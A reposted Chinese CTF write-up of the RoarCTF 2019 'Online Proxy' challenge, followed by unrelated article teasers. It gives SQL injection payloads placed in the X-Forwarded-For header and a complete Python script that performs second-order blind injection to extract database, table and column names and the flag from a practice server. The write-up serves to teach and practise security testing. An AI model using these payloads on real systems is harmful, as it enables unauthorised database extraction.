[RoarCTF 2019]Online Proxy(x-forwarded-for盲注)

news2024/11/28 21:57:54

这道题点开题目

然后题目显示不出网,一开始误认为是ssrf了,但是没有更多的信息了。 

源码有一个ip会不会是修改X-Forwarded-For就可以了呢,抓包试一下, 

发现有两个ip,一个当前一个是last上一个的意思把,这个本地是我火狐插件默认的。

然后这里因为我经验少没感觉,看了大佬的讲解,才突然悟了,这一眼就可以看出一个sql注入的问题,因为last肯定存储到了一个数据库的里面不然查询10.244.80.206怎么能显示出来呢。

经验不足,然后这下子才想到了二次注入,因为一开始是直接存了进去而后来如果我们在输入10.244.不就会在数据库查询有没有存在,没有的话才存数据库里面吗,所以思路来了如果存入危险sql然后第二次查找就会进行回显。

这里我一开始用的命令是

0' or ascii(substr((select database()),1,1)) > 1 #

但是返回的还是本身,然后换成了 '0把后面的引号闭合掉就可以了,这里想了一下会不会是存入数据库value ( #)会把括号闭合掉,或者过滤都有可能。

 

 9上传两次就可以显现,因为第一次是存入数据库,第二次是查找

麻烦的就是呃呃不在当前数据库

import requests


url = "http://node4.buuoj.cn:28823/"

#这个head头好像必须加cookie
head ={
    "X-Forwarded-For":"",
    "Cookie" : "track_uuid=ce631f2b-5cab-4c99-a795-40e01e157888"
}

# #查库名
# payload = "0' or ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{},1))>{} or '0"

# #查表名
# payload = "0' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='F4l9_D4t4B45e')),{},1))>{} or '0"

# #查列名
# payload = "0' or ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F4l9_t4b1e')),{},1))>{} or '0"

#查flag
payload = "0' or ascii(substr((select(group_concat(F4l9_C01uMn))from(F4l9_D4t4B45e.F4l9_t4b1e)),{},1))>{} or '0"

flag =""

for i in range(1,1000):
    low = 32
    high =137
    mid = (low+high)//2

    while(low < high):
        print(i,mid)
        '''插入sql语句'''
        payload1 = payload.format(i,mid)
        head["X-Forwarded-For"] = payload1
        print(head["X-Forwarded-For"])
        r = requests.get(url,headers=head)

        '''重新发送两次请求'''
        head["X-Forwarded-For"]= "penson"
        r = requests.get(url,headers=head)
        r = requests.get(url,headers=head)

        if "Last Ip: 1 " in r.text:
            low = mid+1
        else:
            high = mid

        mid =(low+high)//2


    if(mid ==32 or mid ==127):
        break
    flag +=chr(mid)
    print(flag)

print(flag)

 难点:

其实我想了很久在这里,为什么不能直接自己查自己注入的这条命令,然后点了半天都没有变化,这时候突然想了起来,他是查询 当前命令之前存入数据库中的,所以是查不到的,我的脚本自己注入了person这里是为了当前才能获得之前也就是注入点的回显。

 

 

 收获:

存在存入的功能,并且后续可以查询到,基本就有数据库,就可以联想到注入了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/142636.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数字图像处理实验——图像增强

一、实验目的与要求1.掌握图像空域点处理增强方法&#xff0c;包括图像求反&#xff0c;线性灰度变换&#xff0c;以及直方图均衡化方法&#xff1b;2.熟练掌握空域滤波增强方法&#xff0c;包括平滑滤波器及锐化滤波器。二、实验内容及步骤1.图像的求反、线性灰度变换、直方图…

【回答问题】ChatGPT上线了!比较流行的监督学习模型

监督学习模型是指在训练过程中&#xff0c;使用带有正确答案的标记数据来进行学习。常见的监督学习模型包括逻辑回归、决策树、支持向量机、朴素贝叶斯分类器、神经网络等。最近流行的监督学习模型还包括深度学习模型&#xff0c;如卷积神经网络和循环神经网络。 下面给出一些…

超级浏览器能帮来赞达(Lazada)老板什么忙?

近几年东南亚市场因人口红利及互联网的高度普及倍受关注&#xff0c;东南亚市场成了跨境市场的香饽饽&#xff0c;像来赞达&#xff08;Lazada&#xff09;、虾皮&#xff08;shopee&#xff09;等平台都是最近东南亚地区比较受欢迎的在线购物网站。根据第三方发布的调查报告显…

QGroundControl中使用QT语言家功能

QT语言家支持多种语言功能&#xff0c;在QGC中也很好的使用了该功能&#xff0c;下面对该功能是一些理解进行整理。首先在QGC使用语言家功能中分为qml文件和.c文件&#xff0c;两种略有不同。在.c文件中使用tr()将需要翻译的内容进行包裹在qml文件中使用qsTr()进行包裹下面以新…

【手把手一起学习】(一) Altium Designer 20 软件安装

Altium Designer 20 软件安装 1、解压安装压缩包 2、打开Setup文件夹 3、选中AltiumDesigner20Setup&#xff0c;选择“以管理员身份运行” 4、直接点击Next 5、选择“Chinese”&#xff0c;点击Next 6、直接点击Next 7、选择安装路径 8、直接点击Next 9、继续Next 10、软件安…

软件设计师通关攻略

软件设计师考什么&#xff1f;一、基础知识1.计算机科学基础知识2.计算机系统知识3.系统开发和运行知识4.面向对象基础知识5.信息安全知识6.标准化、信息化和知识产权基础知识7.计算机专业英语二、应用技术1.外部设计2.内部设计3.数据库应用分析与设计4.程序设计5.系统实施6.软…

【内网基于docker部署flink1.13.6 CDC、zeppelin0.10.0、flink-sql-cookbook-on-zeppelin】

内网基于docker部署flink1.13.6 CDC、zeppelin0.10.1、flink-sql-cookbook-on-zeppelin1、基础环境2、部署步骤2.1 docker安装2.2 拷贝docker镜像至内网2.2.1 外网机器下载所有需要镜像2.2.2 外网机器镜像检查2.2.3 外网机器镜像打包2.2.4 拷贝至内网2.2.5 内网加载镜像2.3 下载…

(剖面图全网唯一教程)如何利用EDEM制作剖面图 (自己琢磨出)

EDEM制作剖面图是一件非常重要的工作,本篇文章的方法是自己琢磨出来的,不一定完全精准,但是有效果,剖面图是可以制作出来的。方法在文末。

如何在图片上添加贴图?试试这几种方法

你平时在拍照的时候&#xff0c;有没有遇到过这样的情况&#xff1a;当你拍照后&#xff0c;发现背景不是很符合你的心意出现了一些你不想分享的物品&#xff0c;这个时候你会怎么办呢&#xff1f;一般情况下&#xff0c;有的小伙伴会选择使用马赛克来遮住这些物品&#xff0c;…

js如何引用同级元素

具体效果示例效果,可点击文末左下角阅读原文https://coder.itclan.cn/fontend/js/17-yinyong-tongji-elem/具体描述在网页中,同级(兄弟)元素,指的是拥有相同的直接父级元素的元素,并且往往指的是同类的元素,同类元素在实际开发中遇到的比较多比如:列表li,并列的按钮等,当需要做…

SpringBoot集成xxl-job分布式定时任务

一、xxl-job定时任务搭建下面这篇文章介绍了xxl-job平台搭建过程https://blog.csdn.net/xrq1995/article/details/126282290二、spring boot项目搭建1.创建项目2.pom文件引入<!-- xxl-job-core --><dependency><groupId>com.xuxueli</groupId><arti…

【文档】利用readthedoc来写一个在线文档

使用readthedoc快速创建在线文档 分为两步走 本地创建文档部署到网络 本地创建文档 先安装sphinx pip install sphinx然后在你的文件夹内 sphinx-quickstart一系列默认回车即可 最后编译 make html会产生_build文件夹之类的。 用浏览器打开_build/html/index.html 以…

详细流程——安装并启动Jupyter notebook

安装并启动使用Jupyter notebook一、安装*step1:*切换路径*step2:*下载*step3:*启动Juypter Notebook*step4:*配置Jupyter Notebook*step5(可不配置):* 添加代码自动补全功能二、启动三、初步使用一、安装 注意&#xff1a;我是没有安装Anaconda&#xff0c;中途觉得需要Jupyt…

LeetCode:16. 最接近的三数之和

16. 最接近的三数之和1&#xff09;题目2&#xff09;思路3&#xff09;代码4&#xff09;结果1&#xff09;题目 给你一个长度为 n 的整数数组 nums 和 一个目标值 target。请你从 nums 中选出三个整数&#xff0c;使它们的和与 target 最接近。 返回这三个数的和。 假定每组…

全网最全ssh:远程连接服务器学习,教你十分钟学会

远程连接服务器简介 SSH是如何工作的&#xff1f; 认证阶段 ssh修改配置文件 配置文件注释 练习 试验1 实验2 测试 远程连接服务器简介 1、什么是远程连接服务器 远程连接服务器通过文字或图形接口方式来远程登录系统&#xff0c;让你在远程终端前登录linux主机以取得可…

JSP学习笔记一

✅作者简介&#xff1a;热爱国学的Java后端开发者&#xff0c;修心和技术同步精进。 &#x1f34e;个人主页&#xff1a;Java Fans的博客 &#x1f34a;个人信条&#xff1a;不迁怒&#xff0c;不贰过。小知识&#xff0c;大智慧。 &#x1f49e;当前专栏&#xff1a;JAVA开发者…

shell第七天作业——awk(上)

题目 1、获取根分区剩余大小 2、获取当前机器ip地址 3、统计出apache的/var/log/httpd/access_log文件中访问量最多的前3个IP 4、打印/etc/passwd中UID大于500的用户名和uid 5、/etc/passwd 中匹配包含root或sys或tcp的任意行 6、请打印出/etc/passwd 第一个域&#xff0…

STM32MP157驱动开发——Regmap API

STM32MP157驱动开发——Regmap API0.前言一、Regmap API 简介1.Regmap 驱动框架2.regmap 结构体3.regmap_config 结构体4.Regmap 操作函数①Regmap 申请与初始化②Regmap释放③regmap 设备访问 API 函数5. regmap_config 掩码设置二、驱动开发1.修改设备结构体&#xff0c;添加…

RxJava VS kotlin flow

1.基础概念介绍 1.1 观察者模式 观察者模式&#xff0c;其实对于Android开发者而言&#xff0c;并不陌生&#xff0c;button的setOnClickListener&#xff0c;就是一个典型的观察者模式。控件button是被观察者&#xff0c;它产生一个事件(点击)&#xff0c;观察者OnClickList…

量化策略——准备2 量化技能树量化术语

文章目录量化技能树量化/金融术语1. 俗语2. 持仓术语3. 资金术语4. 策略术语5. 股票软件界面实用术语量化必然用到的核心价格数据其他数据/指标含义6. 委托单术语量化技能树 首先&#xff0c;量化金融&#xff08;Quantitative Finance&#xff0c;简称“量化”&#xff0c;Qu…